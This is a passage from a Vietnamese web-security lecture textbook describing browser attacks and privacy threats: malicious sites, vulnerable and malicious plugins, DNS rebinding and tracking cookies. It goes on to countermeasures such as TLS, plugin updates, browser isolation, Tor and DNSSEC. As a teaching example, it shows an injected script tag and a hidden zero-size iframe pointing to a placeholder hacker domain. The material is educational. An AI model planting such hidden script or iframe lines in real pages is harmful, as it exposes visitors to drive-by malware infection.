Các dạng tấn công vào trình duyệt web và sự riêng tƣ ngƣời dùng

Một phần của tài liệu Bài giảng An toàn ứng dụng web và cơ sở dữ liệu: Phần 1 (Trang 60 - 62)

Tấn công sử dụng các phần mềm độc hại

Có rất nhiều phần mềm độc hại lây lan trên mạng Internet, nhƣ virus, worm, trojan, bot,... Nhiều loại trong số này đƣợc nhúng trong các website độc hại để tấn công trình duyệt của ngƣời dùng. Thủ đoạn thƣờng gặp của tin tặc là lừa ngƣời dùng thăm các trang web độc hại chúng tạo ra, hoặc thăm các trang web tin cậy, nhƣng đã bị tin tặc điều khiển. Sau khi thăm các trang web có nhúng phần mềm độc hại, máy tính của ngƣời dùng bị lây nhiễm phần mềm độc hại và bị điều khiển. Dƣới đây là ví dụ minh họa các đoạn mã JavaScipt trỏ đến các máy chủ của tin tặc có nhúng phần mềm độc hại:

<script src="http://www.hackersite.ru/ngg.js"></script> <iframe src="http://www.hackersite.ru/s.php

width=0 height=0></iframe>

Tấn công các trình cắm của trình duyệt

Các trình cắm (plugin), hay các mô đun mở rộng (addon, extension) của trình duyệt có thể cung cấp nhiều tính năng hữu ích, nhƣ chơi nhạc, xem phim hoặc tăng cƣờng mô hình an ninh cho trình duyệt. Tuy nhiên, nếu một trình cắm không đƣợc thiết kế và kiểm thử tốt, nó có thể làm yếu mô hình an ninh cho trình duyệt. Trên thực tế, nhiều trình cắm, nhƣ PDF reader, movie player, flash player,… đã đƣợc kiểm chứng là không an toàn do có lịch sử về lỗi tràn bộ đệm. Chẳng hạn, tin tặc tấn công trình cắm Adobe Flash player lừa ngƣời dùng mở file SWF (file dữ liệu của Flash player) chứa mã độc hại. Năm 2005, một trình cắm của Firefox có tên Greasemonkey cho phép một trang web độc hại đọc toàn bộ các file của máy tính ngƣời dùng. Greasemonkey là trình cắm cho phép tùy biến trải nghiệm duyệt web.

Ngoài các dạng trình cắm chứa lỗ hổng bị tấn công khai thác, nhiều trình cắm độc hại đƣợc tin tặc phát triển để tấn công trình duyệt. Các trình cắm độc hại thƣờng giả danh là các công cụ hữu ích, nhƣ các công cụ chặn popup,.. Tin tặc khéo léo nhúng mã độc vào các trình cắm dạng này để đánh cắp thông tin lƣu trong trình duyệt và máy tính nạn nhân.

Vấn đề DNS và nguồn gốc

Chính sách Cùng Nguồn Gốc (Same Origin Policy) của trình duyệt đảm bảo nền tảng

an ninh cho mô hình DOM của các trang web, trong đó nó ngăn chặn một miền (domain) can thiệp vào một miền khác. Dạng tấn công ánh xạ lại DNS cho phép các nội dung từ nhiều nguồn trở thành từ cùng 1 nguồn. Tin tặc có thể tấn công hệ thống DNS để ánh xạ lại tên miền tin cậy sang địa chỉ IP máy chủ của tin tặc. Điều này chuyển hƣớng ngƣời dùng đến máy chủ tin tặc, thay vì đến trang web tin cậy.

60 Trên thực tế, tấn công vào sự riêng tƣ của ngƣời dùng thƣờng liên quan đến các nhà cung cấp dịch vụ trực tuyến, hoặc quảng cáo trên mạng, mà ít liên quan đến các website độc hại hoặc tin tặc. Các nhà quảng cáo trên mạng thƣờng thu thập nhiều thông tin về ngƣời dùng liên miền (cross-site) và đây là một dạng vi phạm sự riêng tƣ của ngƣời dùng. Dữ liệu thu thập đƣợc có thể bị lạm dụng. Một trƣờng hợp điển hình của việc vi phạm sự riêng tƣ của ngƣời dùng là việc theo dõi các token của các phiên làm việc của ngƣời dùng chứa trong cookie lƣu trong trình duyệt. Các nhà cung cấp dịch vụ trực tuyến, nhƣ Google, hay Baidu.com thƣờng đặt thời gian sống của cookie rất dài để theo dõi ngƣời dùng, nhƣ các ví dụ dƣới đây:

2.6.3. Các biện pháp phòng chống

Các biện pháp phòng chống để giảm rủi ro khi duyệt web, bao gồm: cấu hình giao thức bảo mật SSL/TLS, duyệt web an toàn, cô lập trình duyệt, sử dụng giao thức Tor (The Onion Routing) và DNSSEC (DNS Security Extensions).

Cấu hình giao thức bảo mật SSL/TLS

Với các ứng dụng web có trao đổi thông tin cá nhân với ngƣời dùng, cần cấu hình để hoạt động với giao thức bảo mật SSL/TLS. Khi đó, giao thức vận hành ứng dụng web là HTTPS, thay cho HTTP thông thƣờng. Giao thức SSL/TLS đòi hỏi tối thiểu máy chủ web phải có chứng chỉ số khóa công khai đƣợc cấp bởi một bên thứ 3 có thẩm quyền. Khi trình duyệt và máy chủ web trao đổi thông tin thông qua HTTPS (HTTP trên SSL/TLS), tính bí mật dữ liệu đƣợc đảm bảo sử dụng mã hóa, tính toàn vẹn dữ liệu và nguồn gốc dữ liệu đƣợc đảm bảo sử dụng hàm băm có khóa (HMAC). Đồng thời, các bên có thể xác thực thông tin nhận dạng mỗi bên tham gia phiên giao dịch sử dụng chứng chỉ số khóa công khai.

Duyệt web an toàn

Sử dụng tƣờng lửa để đảm bảo an toàn cho hệ điều hành và các ứng dụng, trong đó có trình duyệt. Ngoài ra, để giảm thiểu khả năng bị tấn công, cần thƣờng xuyên cập nhật trình duyệt web và các trình cắm (plugin) để hạn chế các lỗ hổng an ninh đã biết.

Một vấn đề khác là tính năng tiện ích ―Remember Me‖, hay nhớ ngƣời dùng đƣợc sử dụng trên nhiều website, cho phép trình duyệt ghi nhớ thông tin tài khoản ngƣời dùng và tự động đăng nhập khi ngƣời dùng mở trang web. Tuy nhiên, cần cân nhắc khi sử dụng tính năng này với các dịch vụ quan trọng do tất cả mọi ngƣời có khả năng trực tiếp sử dụng trình duyệt của bạn đều có khả năng truy nhập tài khoản của bạn. Ngoài ra, tồn tại nguy cơ tiềm tàng bị tấn công CSRF do tài khoản có thể đăng nhập tự động.

61 Vấn đề quản lý và sử dụng mật khẩu cũng cần đƣợc quan tâm, trong đó nên hạn chế sử dụng một mật khẩu cho nhiều website. Nếu mật khẩu bị đánh cắp, tất cả các tài khoản trên các website khác đều có thể chịu ảnh hƣởng.

Một số trình cắm hữu ích cho phép mở rộng, cá nhân hóa, và đảm bảo an toàn cho trình duyệt. Chẳng hạn, trình cắm NoScript (http://noscript.net) có khả năng chống lại các loại tấn công XSS, CSRF và clickjacking (click lừa đảo) khá hiệu quả. Trình cắm HTTPS Everywhere cho Firefox và Chrome cho phép ngƣời dùng luôn mở các trang ở chế độ HTTPS nếu website có hỗ trợ. Có thể tải trình cắm này tại địa chỉ https://www.eff.org/https-everywhere.

Cô lập trình duyệt

Có thể hạn chế 1 phần rủi ro bằng cách không chạy trình duyệt với ngƣời dùng có quyền quản trị (root hoặc administrator). Ngoài ra, có thể tạo 1 tài khoản riêng để chạy 1 trình duyệt làm việc với các website cung cấp các dịch vụ quan trọng, nhƣ dịch vụ tài chính, ngân hàng. Tuyệt đối không sử dụng tài khoản này để truy nhập các trang web thông thƣờng.

Sử dụng giao thức Tor

Tor là một dự án mã mở thực thi khái niệm Định tuyến củ hành cung cấp tính vô danh và giao tiếp mã hóa trên mạng. Tor sử dụng nhiều lớp mã hóa và chuyển hƣớng lƣu lƣợng để chống giám sát, kiểm duyệt mạng và nghe trộm. Có thể tìm thêm thông tin về Tor tại địa chỉ https://www.torproject.org.

DNSSEC

Các máy chủ quản lý tên miền (DNS) thƣờng gặp nhiều dạng tấn công nhƣ giả mạo, đầu độc cache, pharming và các dạng tấn công khác. DNSSEC bổ sung thêm các hàm mật mã vào DNS để ngăn chặn giả mạo bằng khả năng nhận dạng chính xác các máy chủ tin cậy. DNSSEC có khả năng đảm bảo tính toàn vẹn của các phản hồi từ DNS server đến client.

Một phần của tài liệu Bài giảng An toàn ứng dụng web và cơ sở dữ liệu: Phần 1 (Trang 60 - 62)